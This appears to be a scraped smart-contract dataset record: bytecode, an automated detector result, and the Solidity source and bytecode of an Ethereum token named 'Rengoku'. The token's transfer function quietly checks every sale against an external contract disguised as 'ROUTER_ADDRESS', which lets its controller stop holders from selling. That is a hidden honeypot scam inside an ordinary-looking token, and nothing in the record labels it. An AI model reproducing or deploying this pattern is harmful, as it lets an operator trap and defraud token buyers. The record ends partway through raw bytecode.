260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e3565b6115da42600f611f47565b6001600160a01b0384166000908152600560205260409020541061164b5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e3565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611684575060115460ff165b801561169e5750600a546001600160a01b03858116911614155b156117ce576116ae42600f611f47565b6001600160a01b038516600090815260056020526040902054106117205760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e3565b600061172b30610a39565b905080156117b75760115462010000900460ff16156117ae57600d54600a5460649190611760906001600160a01b0316610a39565b61176a9190611f5f565b6117749190611f7e565b8111156117ae57600d54600a5460649190611797906001600160a01b0316610a39565b6117a19190611f5f565b6117ab9190611f7e565b90505b6117b7816118b2565b4780156117c7576117c74761182d565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061181057506001600160a01b03841660009081526004602052604090205460ff165b15611819575060005b6118268585858486611a26565b5050505050565b6008546001600160a01b03166108fc611847600284611f7e565b6040518115909202916000818181858888f1935050505015801561186f573d6000803e3d6000fd5b506009546001600160a01b03166108fc61188a600284611f7e565b6040518115909202916000818181858888f193505050501580156108d6573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118f6576118f6611e79565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561194f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119739190611edf565b8160018151811061198657611986611e79565b6001600160a01b0392831660209182029290920101526007546119ac913091168461109a565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119e5908590600090869030904290600401611fa0565b600060405180830381600087803b1580156119ff57600080fd5b505af1158015611a13573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a328383611a48565b9050611a4086868684611a8f565b505050505050565b6000808315611a88578215611a605750600b54611a88565b50600c54601054611a7390610384611f47565b421015611a8857611a85600582611f47565b90505b9392505050565b600080611a9c8484611b6c565b6001600160a01b0388166000908152600260205260409020549193509150611ac5908590611e62565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611af5908390611f47565b6001600160a01b038616600090815260026020526040902055611b1781611ba0565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5c91815260200190565b60405180910390a3505050505050565b600080806064611b7c8587611f5f565b611b869190611f7e565b90506000611b948287611e62565b96919550909350505050565b30600090815260026020526040902054611bbb908290611f47565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bfb57858101830151858201604001528201611bdf565b81811115611c0d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3657600080fd5b8035611c4381611c23565b919050565b600060208284031215611c5a57600080fd5b8135611a8881611c23565b60008060408385031215611c7857600080fd5b8235611c8381611c23565b946020939093013593505050565b60008060408385031215611ca457600080fd5b50508035926020909101359150565b600080600060608486031215611cc857600080fd5b8335611cd381611c23565b92506020840135611ce381611c23565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1d57600080fd5b823567ffffffffffffffff80821115611d3557600080fd5b818501915085601f830112611d4957600080fd5b813581811115611d5b57611d5b611cf4565b8060051b604051601f19603f83011681018181108582111715611d8057611d80611cf4565b604052918252848201925083810185019188831115611d9e57600080fd5b938501935b82851015611dc357611db485611c38565b84529385019392850192611da3565b98975050505050505050565b600060208284031215611de157600080fd5b5035919050565b8015158114610a3657600080fd5b600060208284031215611e0857600080fd5b8135611a8881611de8565b60008060408385031215611e2657600080fd5b8235611e3181611c23565b91506020830135611e4181611c23565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e7457611e74611e4c565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611ea357611ea3611e4c565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ef157600080fd5b8151611a8881611c23565b600080600060608486031215611f1157600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3c57600080fd5b8151611a8881611de8565b60008219821115611f5a57611f5a611e4c565b500190565b6000816000190483118215151615611f7957611f79611e4c565b500290565b600082611f9b57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ff05784516001600160a01b031683529383019391830191600101611fcb565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d7009373b37ce3cfc771527ac0d5fe60d471b8dc933e56760b31d05fe15d095664736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,718
0x4E3809E903Cd900368bDe2d246ef7FF5dd55b7e6
/** *Submitted for verification at Etherscan.io on 2021-11-08 */ //SPDX-License-Identifier: MIT // Telegram: t.me/rengokutoken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=100000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Rengoku"; string constant TOKEN_SYMBOL="RENGOKU"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Rengoku is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600781526020017f52656e676f6b7500000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f52454e474f4b5500000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600b60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600b60159054906101000a900460ff161580156112b15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600b60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060075490506000662386f26fc10000905061194b662386f26fc1000060075461170490919063ffffffff16565b82101561196857600754662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600754611a3e90919063ffffffff16565b600781905550611bd381600854611a8890919063ffffffff16565b6008819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506